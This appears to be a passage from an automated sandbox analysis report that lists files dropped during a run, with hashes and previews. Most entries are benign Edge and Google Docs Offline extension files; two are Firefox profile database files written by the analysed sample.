C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.751992630887702
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvUpGTcjG:m8IEI4u8Rp
MD5:	250C48F4915DD4C0DFA7E7E021A4F066
SHA1:	092A98BF40D8C18280393BF3811A7DFA9A9FD326
SHA-256:	26D9B129339E2E2EB8E0223E16DB3CF0EA220AC0799480D462C236E6A425665E
SHA-512:	8B18E232992E55E8DA97AC46D7AACA061508341D1EADCEFF1E9D0677734DFA8B892AB44754A3AA100585F5B2F2562BC4F2D7103065050FFCD00F91D5915CE5E6
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417833205646285
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1K9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APKgiVb
MD5:	236D2DD305D64C2B6ABD232ED53270DF
SHA1:	9F6885E95FBC4213631F0B0EA49C803D07D34136
SHA-256:	2A4D526B9D1C8665427FB9E0DA58D16FDDE382DD74C1258941B18701EF7880C3
SHA-512:	B76AF22153F79BCA2429A23746A62A430A521E952E7F94936648ECFD25AFDD9801ACBF6FD16941918A4FEDE39DE747AB6C6336BC86CA74384920AF7E815DB855
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3777)
Category:	dropped
Size (bytes):	98880
Entropy (8bit):	5.414989230634404
Encrypted:	false
SSDEEP:	1536:M+TW9bPq1M3ZOC0pJ/BjXf3Zk/7hry6fq66V3gr9KUw5SXfPxhZhGurH6c/V:WPLZwJJXf3ZvRV3gJKU/fP+urHRV
MD5:	DC93A1045D1AD8D7ADD06B93B2FE79E2
SHA1:	CAFCC8DB7F8E3FD2F8C1EFAC7B385D7616F55EA3
SHA-256:	D5CEB4449384CD2D7898C052B7B99417961880945FC4EAE80EBBAF8E24CC0A3E
SHA-512:	025F7103D1F7D607825BE916D0131C1E04B295EB562974A77F5A16E7BF40250B5608071779B420E4738F86F09A6F7C889469FA898268894FFFEEB7465C589E81
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3782)
Category:	dropped
Size (bytes):	107677
Entropy (8bit):	5.396220758526552
Encrypted:	false
SSDEEP:	1536:7nwyvB1qCo7mWUgsUopF5Xy4FlAwxdhvHcrdncqAKxwjBnKwIDQgrOChkPIgmrCp:wh6gstXy4FM5ncJKxCnKWgrd0v
MD5:	E8015AC436B33034EDF7DA060E853A04
SHA1:	62D0F6EB0E441158A1F56F6E0C70D3D229B57886
SHA-256:	23C953E989FF4AF6126D4A3B2AD21B33A82512FC8768045C00F05940DE2C9978
SHA-512:	C35AC8692FC22B78365CA202E173A90AE4B5DBA338B7FC9EEB17EDDF5868B52CF1D13DC0EDAF36BE1CC0E0152F41AC4027C51D7ECA27778B483E3FC83F11EA82
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function k(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir5144_472953999\2f3ebe29-ce86-4e4e-b4c4-49980a46341b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir5144_472953999\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir5144_472953999\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir5144_472953999\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir5144_472953999\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
